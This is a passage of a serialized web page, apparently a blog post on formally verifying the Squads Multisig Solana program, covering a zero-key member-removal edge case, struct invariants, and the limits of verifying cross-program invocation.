type":24,"tag":327,"props":8491,"children":8492},{"style":346},[8493],{"type":29,"value":592},{"type":24,"tag":25,"props":8495,"children":8496},{},[8497],{"type":29,"value":8498},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":24,"tag":25,"props":8500,"children":8501},{},[8502,8504,8510],{"type":29,"value":8503},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":24,"tag":284,"props":8505,"children":8507},{"className":8506},[],[8508],{"type":29,"value":8509},"Ms::remove_member",{"type":29,"value":1636},{"type":24,"tag":317,"props":8512,"children":8514},{"code":8513,"language":1552,"meta":7,"className":1553,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n    return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[8515],{"type":24,"tag":284,"props":8516,"children":8517},{"__ignoreMap":7},[8518,8577,8608,8615],{"type":24,"tag":327,"props":8519,"children":8520},{"class":329,"line":330},[8521,8525,8529,8533,8537,8541,8545,8549,8553,8557,8561,8565,8569,8573],{"type":24,"tag":327,"props":8522,"children":8523},{"style":425},[8524],{"type":29,"value":5999},{"type":24,"tag":327,"props":8526,"children":8527},{"style":356},[8528],{"type":29,"value":7301},{"type":24,"tag":327,"props":8530,"children":8531},{"style":381},[8532],{"type":29,"value":66},{"type":24,"tag":327,"props":8534,"children":8535},{"style":346},[8536],{"type":29,"value":5239},{"type":24,"tag":327,"props":8538,"children":8539},{"style":381},[8540],{"type":29,"value":66},{"type":24,"tag":327,"props":8542,"children":8543},{"style":346},[8544],{"type":29,"value":5248},{"type":24,"tag":327,"props":8546,"children":8547},{"style":381},[8548],{"type":29,"value":66},{"type":24,"tag":327,"props":8550,"children":8551},{"style":346},[8552],{"type":29,"value":2354},{"type":24,"tag":327,"props":8554,"children":8555},{"style":381},[8556],{"type":29,"value":66},{"type":24,"tag":327,"props":8558,"children":8559},{"style":340},[8560],{"type":29,"value":4906},{"type":24,"tag":327,"props":8562,"children":8563},{"style":346},[8564],{"type":29,"value":7338},{"type":24,"tag":327,"props":8566,"children":8567},{"style":381},[8568],{"type":29,"value":642},{"type":24,"tag":327,"props":8570,"children":8571},{"style":397},[8572],{"type":29,"value":522},{"type":24,"tag":327,"props":8574,"children":8575},{"style":346},[8576],{"type":29,"value":497},{"type":24,"tag":327,"props":8578,"children":8579},{"class":329,"line":367},[8580,8584,8588,8592,8596,8600,8604],{"type":24,"tag":327,"props":8581,"children":8582},{"style":425},[8583],{"type":29,"value":6023},{"type":24,"tag":327,"props":8585,"children":8586},{"style":340},[8587],{"type":29,"value":4949},{"type":24,"tag":327,"props":8589,"children":8590},{"style":346},[8591],{"type":29,"value":349},{"type":24,"tag":327,"props":8593,"children":8594},{"style":1639},[8595],{"type":29,"value":4958},{"type":24,"tag":327,"props":8597,"children":8598},{"style":381},[8599],{"type":29,"value":2407},{"type":24,"tag":327,"props":8601,"children":8602},{"style":1639},[8603],{"type":29,"value":7378},{"type":24,"tag":327,"props":8605,"children":8606},{"style":346},[8607],{"type":29,"value":583},{"type":24,"tag":327,"props":8609,"children":8610},{"class":329,"line":408},[8611],{"type":24,"tag":327,"props":8612,"children":8613},{"style":346},[8614],{"type":29,"value":592},{"type":24,"tag":327,"props":8616,"children":8617},{"class":329,"line":421},[8618,8622,8626,8630,8634,8638,8642,8646,8650,8654,8658,8662],{"type":24,"tag":327,"props":8619,"children":8620},{"style":356},[8621],{"type":29,"value":1631},{"type":24,"tag":327,"props":8623,"children":8624},{"style":381},[8625],{"type":29,"value":66},{"type":24,"tag":327,"props":8627,"children":8628},{"style":346},[8629],{"type":29,"value":5239},{"type":24,"tag":327,"props":8631,"children":8632},{"style":381},[8633],{"type":29,"value":66},{"type":24,"tag":327,"props":8635,"children":8636},{"style":346},[8637],{"type":29,"value":5248},{"type":24,"tag":327,"props":8639,"children":8640},{"style":381},[8641],{"type":29,"value":66},{"type":24,"tag":327,"props":8643,"children":8644},{"style":340},[8645],{"type":29,"value":6923},{"type":24,"tag":327,"props":8647,"children":8648},{"style":346},[8649],{"type":29,"value":349},{"type":24,"tag":327,"props":8651,"children":8652},{"style":356},[8653],{"type":29,"value":7257},{"type":24,"tag":327,"props":8655,"children":8656},{"style":346},[8657],{"type":29,"value":3146},{"type":24,"tag":327,"props":8659,"children":8660},{"style":381},[8661],{"type":29,"value":7437},{"type":24,"tag":327,"props":8663,"children":8664},{"style":346},[8665],{"type":29,"value":405},{"type":24,"tag":25,"props":8667,"children":8668},{},[8669,8671,8677,8679,8685],{"type":29,"value":8670},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":24,"tag":284,"props":8672,"children":8674},{"className":8673},[],[8675],{"type":29,"value":8676},"Ms::is_member",{"type":29,"value":8678},") and if it is not, it simply skips the removal and returns ",{"type":24,"tag":284,"props":8680,"children":8682},{"className":8681},[],[8683],{"type":29,"value":8684},"Ok(())",{"type":29,"value":66},{"type":24,"tag":317,"props":8687,"children":8689},{"code":8688,"language":1552,"meta":7,"className":1553,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n    if let Some(ind) = self.is_member(member) {\n        self.keys.remove(ind);\n        if self.keys.len() \u003C usize::from(self.threshold) {\n            self.threshold = self.keys.len().try_into().unwrap();\n        }\n    }\n    Ok(())\n}\n",[8690],{"type":24,"tag":284,"props":8691,"children":8692},{"__ignoreMap":7},[8693,8758,8817,8854,8914,8982,8990,8997,9010],{"type":24,"tag":327,"props":8694,"children":8695},{"class":329,"line":330},[8696,8700,8704,8708,8712,8717,8721,8725,8729,8734,8738,8742,8746,8750,8754],{"type":24,"tag":327,"props":8697,"children":8698},{"style":334},[8699],{"type":29,"value":2524},{"type":24,"tag":327,"props":8701,"children":8702},{"style":334},[8703],{"type":29,"value":4653},{"type":24,"tag":327,"props":8705,"children":8706},{"style":340},[8707],{"type":29,"value":7223},{"type":24,"tag":327,"props":8709,"children":8710},{"style":346},[8711],{"type":29,"value":349},{"type":24,"tag":327,"props":8713,"children":8714},{"style":381},[8715],{"type":29,"value":8716},"&",{"type":24,"tag":327,"props":8718,"children":8719},{"style":334},[8720],{"type":29,"value":2099},{"type":24,"tag":327,"props":8722,"children":8723},{"style":334},[8724],{"type":29,"value":2171},{"type":24,"tag":327,"props":8726,"children":8727},{"style":346},[8728],{"type":29,"value":2744},{"type":24,"tag":327,"props":8730,"children":8731},{"style":356},[8732],{"type":29,"value":8733},"member",{"type":24,"tag":327,"props":8735,"children":8736},{"style":381},[8737],{"type":29,"value":1636},{"type":24,"tag":327,"props":8739,"children":8740},{"style":1639},[8741],{"type":29,"value":2226},{"type":24,"tag":327,"props":8743,"children":8744},{"style":346},[8745],{"type":29,"value":1674},{"type":24,"tag":327,"props":8747,"children":8748},{"style":381},[8749],{"type":29,"value":1679},{"type":24,"tag":327,"props":8751,"children":8752},{"style":1639},[8753],{"type":29,"value":1684},{"type":24,"tag":327,"props":8755,"children":8756},{"style":346},[8757],{"type":29,"value":1689},{"type":24,"tag":327,"props":8759,"children":8760},{"class":329,"line":367},[8761,8765,8770,8775,8779,8784,8788,8792,8796,8800,8805,8809,8813],{"type":24,"tag":327,"props":8762,"children":8763},{"style":425},[8764],{"type":29,"value":428},{"type":24,"tag":327,"props":8766,"children":8767},{"style":334},[8768],{"type":29,"value":8769}," let",{"type":24,"tag":327,"props":8771,"children":8772},{"style":1639},[8773],{"type":29,"value":8774}," Some",{"type":24,"tag":327,"props":8776,"children":8777},{"style":346},[8778],{"type":29,"value":349},{"type":24,"tag":327,"props":8780,"children":8781},{"style":356},[8782],{"type":29,"value":8783},"ind",{"type":24,"tag":327,"props":8785,"children":8786},{"style":346},[8787],{"type":29,"value":1674},{"type":24,"tag":327,"props":8789,"children":8790},{"style":381},[8791],{"type":29,"value":384},{"type":24,"tag":327,"props":8793,"children":8794},{"style":334},[8795],{"type":29,"value":2171},{"type":24,"tag":327,"props":8797,"children":8798},{"style":381},[8799],{"type":29,"value":66},{"type":24,"tag":327,"props":8801,"children":8802},{"style":340},[8803],{"type":29,"value":8804},"is_member",{"type":24,"tag":327,"props":8806,"children":8807},{"style":346},[8808],{"type":29,"value":349},{"type":24,"tag":327,"props":8810,"children":8811},{"style":356},[8812],{"type":29,"value":8733},{"type":24,"tag":327,"props":8814,"children":8815},{"style":346},[8816],{"type":29,"value":364},{"type":24,"tag":327,"props":8818,"children":8819},{"class":329,"line":408},[8820,8825,8829,8833,8837,8842,8846,8850],{"type":24,"tag":327,"props":8821,"children":8822},{"style":334},[8823],{"type":29,"value":8824},"        self",{"type":24,"tag":327,"props":8826,"children":8827},{"style":381},[8828],{"type":29,"value":66},{"type":24,"tag":327,"props":8830,"children":8831},{"style":346},[8832],{"type":29,"value":2354},{"type":24,"tag":327,"props":8834,"children":8835},{"style":381},[8836],{"type":29,"value":66},{"type":24,"tag":327,"props":8838,"children":8839},{"style":340},[8840],{"type":29,"value":8841},"remove",{"type":24,"tag":327,"props":8843,"children":8844},{"style":346},[8845],{"type":29,"value":349},{"type":24,"tag":327,"props":8847,"children":8848},{"style":356},[8849],{"type":29,"value":8783},{"type":24,"tag":327,"props":8851,"children":8852},{"style":346},[8853],{"type":29,"value":583},{"type":24,"tag":327,"props":8855,"children":8856},{"class":329,"line":421},[8857,8862,8866,8870,8874,8878,8882,8886,8890,8894,8898,8902,8906,8910],{"type":24,"tag":327,"props":8858,"children":8859},{"style":425},[8860],{"type":29,"value":8861},"        if",{"type":24,"tag":327,"props":8863,"children":8864},{"style":334},[8865],{"type":29,"value":2171},{"type":24,"tag":327,"props":8867,"children":8868},{"style":381},[8869],{"type":29,"value":66},{"type":24,"tag":327,"props":8871,"children":8872},{"style":346},[8873],{"type":29,"value":2354},{"type":24,"tag":327,"props":8875,"children":8876},{"style":381},[8877],{"type":29,"value":66},{"type":24,"tag":327,"props":8879,"children":8880},{"style":340},[8881],{"type":29,"value":4906},{"type":24,"tag":327,"props":8883,"children":8884},{"style":346},[8885],{"type":29,"value":7504},{"type":24,"tag":327,"props":8887,"children":8888},{"style":1639},[8889],{"type":29,"value":7509},{"type":24,"tag":327,"props":8891,"children":8892},{"style":381},[8893],{"type":29,"value":2407},{"type":24,"tag":327,"props":8895,"children":8896},{"style":340},[8897],{"type":29,"value":802},{"type":24,"tag":327,"props":8899,"children":8900},{"style":346},[8901],{"type":29,"value":349},{"type":24,"tag":327,"props":8903,"children":8904},{"style":334},[8905],{"type":29,"value":2345},{"type":24,"tag":327,"props":8907,"children":8908},{"style":381},[8909],{"type":29,"value":66},{"type":24,"tag":327,"props":8911,"children":8912},{"style":346},[8913],{"type":29,"value":7550},{"type":24,"tag":327,"props":8915,"children":8916},{"class":329,"line":450},[8917,8922,8926,8930,8934,8938,8942,8946,8950,8954,8958,8962,8966,8970,8974,8978],{"type":24,"tag":327,"props":8918,"children":8919},{"style":334},[8920],{"type":29,"value":8921},"            self",{"type":24,"tag":327,"props":8923,"children":8924},{"style":381},[8925],{"type":29,"value":66},{"type":24,"tag":327,"props":8927,"children":8928},{"style":346},[8929],{"type":29,"value":2446},{"type":24,"tag":327,"props":8931,"children":8932},{"style":381},[8933],{"type":29,"value":384},{"type":24,"tag":327,"props":8935,"children":8936},{"style":334},[8937],{"type":29,"value":2171},{"type":24,"tag":327,"props":8939,"children":8940},{"style":381},[8941],{"type":29,"value":66},{"type":24,"tag":327,"props":8943,"children":8944},{"style":346},[8945],{"type":29,"value":2354},{"type":24,"tag":327,"props":8947,"children":8948},{"style":381},[8949],{"type":29,"value":66},{"type":24,"tag":327,"props":8951,"children":8952},{"style":340},[8953],{"type":29,"value":4906},{"type":24,"tag":327,"props":8955,"children":8956},{"style":346},[8957],{"type":29,"value":7616},{"type":24,"tag":327,"props":8959,"children":8960},{"style":381},[8961],{"type":29,"value":66},{"type":24,"tag":327,"props":8963,"children":8964},{"style":340},[8965],{"type":29,"value":7625},{"type":24,"tag":327,"props":8967,"children":8968},{"style":346},[8969],{"type":29,"value":7616},{"type":24,"tag":327,"props":8971,"children":8972},{"style":381},[8973],{"type":29,"value":66},{"type":24,"tag":327,"props":8975,"children":8976},{"style":340},[8977],{"type":29,"value":5352},{"type":24,"tag":327,"props":8979,"children":8980},{"style":346},[8981],{"type":29,"value":4838},{"type":24,"tag":327,"props":8983,"children":8984},{"class":329,"line":481},[8985],{"type":24,"tag":327,"props":8986,"children":8987},{"style":346},[8988],{"type":29,"value":8989},"        }\n",{"type":24,"tag":327,"props":8991,"children":8992},{"class":329,"line":500},[8993],{"type":24,"tag":327,"props":8994,"children":8995},{"style":346},[8996],{"type":29,"value":535},{"type":24,"tag":327,"props":8998,"children":8999},{"class":329,"line":529},[9000,9005],{"type":24,"tag":327,"props":9001,"children":9002},{"style":1639},[9003],{"type":29,"value":9004},"    Ok",{"type":24,"tag":327,"props":9006,"children":9007},{"style":346},[9008],{"type":29,"value":9009},"(())\n",{"type":24,"tag":327,"props":9011,"children":9012},{"class":329,"line":538},[9013],{"type":24,"tag":327,"props":9014,"children":9015},{"style":346},[9016],{"type":29,"value":592},{"type":24,"tag":25,"props":9018,"children":9019},{},[9020,9022,9027,9029,9035,9037,9043,9045,9050],{"type":29,"value":9021},"Inside ",{"type":24,"tag":284,"props":9023,"children":9025},{"className":9024},[],[9026],{"type":29,"value":8676},{"type":29,"value":9028},", we see that it performs a ",{"type":24,"tag":284,"props":9030,"children":9032},{"className":9031},[],[9033],{"type":29,"value":9034},"binary_search",{"type":29,"value":9036}," on the keys vec and returns the index or ",{"type":24,"tag":284,"props":9038,"children":9040},{"className":9039},[],[9041],{"type":29,"value":9042},"None",{"type":29,"value":9044},". Since the vec has size zero, this will just return ",{"type":24,"tag":284,"props":9046,"children":9048},{"className":9047},[],[9049],{"type":29,"value":9042},{"type":29,"value":66},{"type":24,"tag":317,"props":9052,"children":9054},{"code":9053,"language":1552,"meta":7,"className":1553,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n    match self.keys.binary_search(&member) {\n        Ok(ind) => Some(ind),\n        _ => None,\n    }\n}\n",[9055],{"type":24,"tag":284,"props":9056,"children":9057},{"__ignoreMap":7},[9058,9127,9171,9213,9235,9242],{"type":24,"tag":327,"props":9059,"children":9060},{"class":329,"line":330},[9061,9065,9069,9074,9078,9082,9086,9090,9094,9098,9102,9106,9110,9115,9119,9123],{"type":24,"tag":327,"props":9062,"children":9063},{"style":334},[9064],{"type":29,"value":2524},{"type":24,"tag":327,"props":9066,"children":9067},{"style":334},[9068],{"type":29,"value":4653},{"type":24,"tag":327,"props":9070,"children":9071},{"style":340},[9072],{"type":29,"value":9073}," is_member",{"type":24,"tag":327,"props":9075,"children":9076},{"style":346},[9077],{"type":29,"value":349},{"type":24,"tag":327,"props":9079,"children":9080},{"style":381},[9081],{"type":29,"value":8716},{"type":24,"tag":327,"props":9083,"children":9084},{"style":334},[9085],{"type":29,"value":2345},{"type":24,"tag":327,"props":9087,"children":9088},{"style":346},[9089],{"type":29,"value":2744},{"type":24,"tag":327,"props":9091,"children":9092},{"style":356},[9093],{"type":29,"value":8733},{"type":24,"tag":327,"props":9095,"children":9096},{"style":381},[9097],{"type":29,"value":1636},{"type":24,"tag":327,"props":9099,"children":9100},{"style":1639},[9101],{"type":29,"value":2226},{"type":24,"tag":327,"props":9103,"children":9104},{"style":346},[9105],{"type":29,"value":1674},{"type":24,"tag":327,"props":9107,"children":9108},{"style":381},[9109],{"type":29,"value":1679},{"type":24,"tag":327,"props":9111,"children":9112},{"style":1639},[9113],{"type":29,"value":9114}," Option",{"type":24,"tag":327,"props":9116,"children":9117},{"style":346},[9118],{"type":29,"value":1596},{"type":24,"tag":327,"props":9120,"children":9121},{"style":1639},[9122],{"type":29,"value":7509},{"type":24,"tag":327,"props":9124,"children":9125},{"style":346},[9126],{"type":29,"value":4344},{"type":24,"tag":327,"props":9128,"children":9129},{"class":329,"line":367},[9130,9135,9139,9143,9147,9151,9155,9159,9163,9167],{"type":24,"tag":327,"props":9131,"children":9132},{"style":425},[9133],{"type":29,"value":9134},"    match",{"type":24,"tag":327,"props":9136,"children":9137},{"style":334},[9138],{"type":29,"value":2171},{"type":24,"tag":327,"props":9140,"children":9141},{"style":381},[9142],{"type":29,"value":66},{"type":24,"tag":327,"props":9144,"children":9145},{"style":346},[9146],{"type":29,"value":2354},{"type":24,"tag":327,"props":9148,"children":9149},{"style":381},[9150],{"type":29,"value":66},{"type":24,"tag":327,"props":9152,"children":9153},{"style":340},[9154],{"type":29,"value":9034},{"type":24,"tag":327,"props":9156,"children":9157},{"style":346},[9158],{"type":29,"value":349},{"type":24,"tag":327,"props":9160,"children":9161},{"style":381},[9162],{"type":29,"value":8716},{"type":24,"tag":327,"props":9164,"children":9165},{"style":356},[9166],{"type":29,"value":8733},{"type":24,"tag":327,"props":9168,"children":9169},{"style":346},[9170],{"type":29,"value":364},{"type":24,"tag":327,"props":9172,"children":9173},{"class":329,"line":408},[9174,9179,9183,9187,9191,9196,9200,9204,9208],{"type":24,"tag":327,"props":9175,"children":9176},{"style":1639},[9177],{"type":29,"value":9178},"        Ok",{"type":24,"tag":327,"props":9180,"children":9181},{"style":346},[9182],{"type":29,"value":349},{"type":24,"tag":327,"props":9184,"children":9185},{"style":356},[9186],{"type":29,"value":8783},{"type":24,"tag":327,"props":9188,"children":9189},{"style":346},[9190],{"type":29,"value":1674},{"type":24,"tag":327,"props":9192,"children":9193},{"style":381},[9194],{"type":29,"value":9195},"=>",{"type":24,"tag":327,"props":9197,"children":9198},{"style":1639},[9199],{"type":29,"value":8774},{"type":24,"tag":327,"props":9201,"children":9202},{"style":346},[9203],{"type":29,"value":349},{"type":24,"tag":327,"props":9205,"children":9206},{"style":356},[9207],{"type":29,"value":8783},{"type":24,"tag":327,"props":9209,"children":9210},{"style":346},[9211],{"type":29,"value":9212},"),\n",{"type":24,"tag":327,"props":9214,"children":9215},{"class":329,"line":421},[9216,9221,9226,9231],{"type":24,"tag":327,"props":9217,"children":9218},{"style":356},[9219],{"type":29,"value":9220},"        _",{"type":24,"tag":327,"props":9222,"children":9223},{"style":381},[9224],{"type":29,"value":9225}," =>",{"type":24,"tag":327,"props":9227,"children":9228},{"style":1639},[9229],{"type":29,"value":9230}," None",{"type":24,"tag":327,"props":9232,"children":9233},{"style":346},[9234],{"type":29,"value":2231},{"type":24,"tag":327,"props":9236,"children":9237},{"class":329,"line":450},[9238],{"type":24,"tag":327,"props":9239,"children":9240},{"style":346},[9241],{"type":29,"value":535},{"type":24,"tag":327,"props":9243,"children":9244},{"class":329,"line":481},[9245],{"type":24,"tag":327,"props":9246,"children":9247},{"style":346},[9248],{"type":29,"value":592},{"type":24,"tag":25,"props":9250,"children":9251},{},[9252,9254,9259,9261,9266,9268,9273,9275,9280],{"type":29,"value":9253},"So interestingly, a ",{"type":24,"tag":284,"props":9255,"children":9257},{"className":9256},[],[9258],{"type":29,"value":2354},{"type":29,"value":9260}," vec of size 0 ",{"type":24,"tag":42,"props":9262,"children":9263},{},[9264],{"type":29,"value":9265},"is actually",{"type":29,"value":9267}," a sufficient condition to execute ",{"type":24,"tag":284,"props":9269,"children":9271},{"className":9270},[],[9272],{"type":29,"value":6923},{"type":29,"value":9274},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":24,"tag":42,"props":9276,"children":9277},{},[9278],{"type":29,"value":9279},"valid",{"type":29,"value":9281}," multisig, the number of keys should never be zero.",{"type":24,"tag":25,"props":9283,"children":9284},{},[9285,9287,9292],{"type":29,"value":9286},"We can represent this ",{"type":24,"tag":42,"props":9288,"children":9289},{},[9290],{"type":29,"value":9291},"validity",{"type":29,"value":9293}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":24,"tag":317,"props":9295,"children":9297},{"code":9296,"language":1552,"meta":7,"className":1553,"style":7},"#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[9298],{"type":24,"tag":284,"props":9299,"children":9300},{"__ignoreMap":7},[9301,9308,9331,9382,9389],{"type":24,"tag":327,"props":9302,"children":9303},{"class":329,"line":330},[9304],{"type":24,"tag":327,"props":9305,"children":9306},{"style":346},[9307],{"type":29,"value":2144},{"type":24,"tag":327,"props":9309,"children":9310},{"class":329,"line":367},[9311,9315,9319,9323,9327],{"type":24,"tag":327,"props":9312,"children":9313},{"style":346},[9314],{"type":29,"value":6183},{"type":24,"tag":327,"props":9316,"children":9317},{"style":381},[9318],{"type":29,"value":66},{"type":24,"tag":327,"props":9320,"children":9321},{"style":346},[9322],{"type":29,"value":2446},{"type":24,"tag":327,"props":9324,"children":9325},{"style":381},[9326],{"type":29,"value":2166},{"type":24,"tag":327,"props":9328,"children":9329},{"style":346},[9330],{"type":29,"value":2455},{"type":24,"tag":327,"props":9332,"children":9333},{"class":329,"line":408},[9334,9338,9342,9346,9350,9354,9358,9362,9366,9370,9374,9378],{"type":24,"tag":327,"props":9335,"children":9336},{"style":381},[9337],{"type":29,"value":2371},{"type":24,"tag":327,"props":9339,"children":9340},{"style":346},[9341],{"type":29,"value":2376},{"type":24,"tag":327,"props":9343,"children":9344},{"style":381},[9345],{"type":29,"value":66},{"type":24,"tag":327,"props":9347,"children":9348},{"style":346},[9349],{"type":29,"value":2446},{"type":24,"tag":327,"props":9351,"children":9352},{"style":334},[9353],{"type":29,"value":2479},{"type":24,"tag":327,"props":9355,"children":9356},{"style":1639},[9357],{"type":29,"value":2422},{"type":24,"tag":327,"props":9359,"children":9360},{"style":381},[9361],{"type":29,"value":2488},{"type":24,"tag":327,"props":9363,"children":9364},{"style":346},[9365],{"type":29,"value":2171},{"type":24,"tag":327,"props":9367,"children":9368},{"style":381},[9369],{"type":29,"value":66},{"type":24,"tag":327,"props":9371,"children":9372},{"style":346},[9373],{"type":29,"value":2354},{"type":24,"tag":327,"props":9375,"children":9376},{"style":381},[9377],{"type":29,"value":66},{"type":24,"tag":327,"props":9379,"children":9380},{"style":346},[9381],{"type":29,"value":2509},{"type":24,"tag":327,"props":9383,"children":9384},{"class":329,"line":421},[9385],{"type":24,"tag":327,"props":9386,"children":9387},{"style":346},[9388],{"type":29,"value":1609},{"type":24,"tag":327,"props":9390,"children":9391},{"class":329,"line":450},[9392,9396,9400,9404,9408,9412],{"type":24,"tag":327,"props":9393,"children":9394},{"style":334},[9395],{"type":29,"value":2524},{"type":24,"tag":327,"props":9397,"children":9398},{"style":334},[9399],{"type":29,"value":2529},{"type":24,"tag":327,"props":9401,"children":9402},{"style":1639},[9403],{"type":29,"value":2534},{"type":24,"tag":327,"props":9405,"children":9406},{"style":346},[9407],{"type":29,"value":1940},{"type":24,"tag":327,"props":9409,"children":9410},{"style":381},[9411],{"type":29,"value":1922},{"type":24,"tag":327,"props":9413,"children":9414},{"style":346},[9415],{"type":29,"value":1949},{"type":24,"tag":25,"props":9417,"children":9418},{},[9419,9421,9427,9429,9435],{"type":29,"value":9420},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":24,"tag":284,"props":9422,"children":9424},{"className":9423},[],[9425],{"type":29,"value":9426},"keys.len() == 0",{"type":29,"value":9428}," and allows us to prove the biconditional ",{"type":24,"tag":284,"props":9430,"children":9432},{"className":9431},[],[9433],{"type":29,"value":9434},"(keys.len() >= 1) -> (instruction succeeds)",{"type":29,"value":66},{"type":24,"tag":235,"props":9437,"children":9439},{"id":9438},"safety-guarantees",[9440],{"type":29,"value":4196},{"type":24,"tag":25,"props":9442,"children":9443},{},[9444],{"type":29,"value":9445},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":24,"tag":25,"props":9447,"children":9448},{},[9449],{"type":29,"value":9450},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":24,"tag":25,"props":9452,"children":9453},{},[9454,9456,9462],{"type":29,"value":9455},"In the multisig program this happens in the ",{"type":24,"tag":284,"props":9457,"children":9459},{"className":9458},[],[9460],{"type":29,"value":9461},"execute_transaction",{"type":29,"value":9463}," instruction.",{"type":24,"tag":25,"props":9465,"children":9466},{},[9467],{"type":24,"tag":42,"props":9468,"children":9469},{},[9470],{"type":29,"value":9471},"So what do you do?",{"type":24,"tag":25,"props":9473,"children":9474},{},[9475],{"type":29,"value":9476},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":24,"tag":317,"props":9478,"children":9480},{"code":9479,"language":1552,"meta":7,"className":1553,"style":7},"#[derive(Accounts)]\npub MyCtx {\n    #[account(mut)]\n    pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n    pub bad: bool\n}\n\nimpl Acc {\n    pub fn put_into_bad_state() {\n        self.bad = true;\n    }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n    Ok(())\n}\n",[9481],{"type":24,"tag":284,"props":9482,"children":9483},{"__ignoreMap":7},[9484,9499,9515,9530,9572,9579,9586,9593,9610,9626,9647,9654,9661,9677,9698,9727,9734,9741,9748,9756,9809,9835,9842,9872,9897,9932,9939,9950],{"type":24,"tag":327,"props":9485,"children":9486},{"class":329,"line":330},[9487,9491,9495],{"type":24,"tag":327,"props":9488,"children":9489},{"style":346},[9490],{"type":29,"value":4249},{"type":24,"tag":327,"props":9492,"children":9493},{"style":1639},[9494],{"type":29,"value":4254},{"type":24,"tag":327,"props":9496,"children":9497},{"style":346},[9498],{"type":29,"value":1609},{"type":24,"tag":327,"props":9500,"children":9501},{"class":329,"line":367},[9502,9506,9511],{"type":24,"tag":327,"props":9503,"children":9504},{"style":334},[9505],{"type":29,"value":2524},{"type":24,"tag":327,"props":9507,"children":9508},{"style":1639},[9509],{"type":29,"value":9510}," MyCtx",{"type":24,"tag":327,"props":9512,"children":9513},{"style":346},[9514],{"type":29,"value":497},{"type":24,"tag":327,"props":9516,"children":9517},{"class":329,"line":408},[9518,9522,9526],{"type":24,"tag":327,"props":9519,"children":9520},{"style":346},[9521],{"type":29,"value":4544},{"type":24,"tag":327,"props":9523,"children":9524},{"style":334},[9525],{"type":29,"value":2099},{"type":24,"tag":327,"props":9527,"children":9528},{"style":346},[9529],{"type":29,"value":1609},{"type":24,"tag":327,"props":9531,"children":9532},{"class":329,"line":421},[9533,9537,9542,9546,9550,9554,9558,9562,9567],{"type":24,"tag":327,"props":9534,"children":9535},{"style":334},[9536],{"type":29,"value":2212},{"type":24,"tag":327,"props":9538,"children":9539},{"style":356},[9540],{"type":29,"value":9541}," my_account",{"type":24,"tag":327,"props":9543,"children":9544},{"style":381},[9545],{"type":29,"value":1636},{"type":24,"tag":327,"props":9547,"children":9548},{"style":1639},[9549],{"type":29,"value":4508},{"type":24,"tag":327,"props":9551,"children":9552},{"style":346},[9553],{"type":29,"value":4334},{"type":24,"tag":327,"props":9555,"children":9556},{"style":1639},[9557],{"type":29,"value":4339},{"type":24,"tag":327,"props":9559,"children":9560},{"style":346},[9561],{"type":29,"value":2744},{"type":24,"tag":327,"props":9563,"children":9564},{"style":1639},[9565],{"type":29,"value":9566},"Acc",{"type":24,"tag":327,"props":9568,"children":9569},{"style":346},[9570],{"type":29,"value":9571},">\n",{"type":24,"tag":327,"props":9573,"children":9574},{"class":329,"line":450},[9575],{"type":24,"tag":327,"props":9576,"children":9577},{"style":346},[9578],{"type":29,"value":592},{"type":24,"tag":327,"props":9580,"children":9581},{"class":329,"line":481},[9582],{"type":24,"tag":327,"props":9583,"children":9584},{"emptyLinePlaceholder":16},[9585],{"type":29,"value":544},{"type":24,"tag":327,"props":9587,"children":9588},{"class":329,"line":500},[9589],{"type":24,"tag":327,"props":9590,"children":9591},{"style":346},[9592],{"type":29,"value":2136},{"type":24,"tag":327,"props":9594,"children":9595},{"class":329,"line":529},[9596,9601,9605],{"type":24,"tag":327,"props":9597,"children":9598},{"style":346},[9599],{"type":29,"value":9600},"#[invariant(bad ",{"type":24,"tag":327,"props":9602,"children":9603},{"style":381},[9604],{"type":29,"value":642},{"type":24,"tag":327,"props":9606,"children":9607},{"style":346},[9608],{"type":29,"value":9609}," false)]\n",{"type":24,"tag":327,"props":9611,"children":9612},{"class":329,"line":538},[9613,9617,9622],{"type":24,"tag":327,"props":9614,"children":9615},{"style":334},[9616],{"type":29,"value":2195},{"type":24,"tag":327,"props":9618,"children":9619},{"style":1639},[9620],{"type":29,"value":9621}," Acc",{"type":24,"tag":327,"props":9623,"children":9624},{"style":346},[9625],{"type":29,"value":497},{"type":24,"tag":327,"props":9627,"children":9628},{"class":329,"line":547},[9629,9633,9638,9642],{"type":24,"tag":327,"props":9630,"children":9631},{"style":334},[9632],{"type":29,"value":2212},{"type":24,"tag":327,"props":9634,"children":9635},{"style":356},[9636],{"type":29,"value":9637}," bad",{"type":24,"tag":327,"props":9639,"children":9640},{"style":381},[9641],{"type":29,"value":1636},{"type":24,"tag":327,"props":9643,"children":9644},{"style":1639},[9645],{"type":29,"value":9646}," 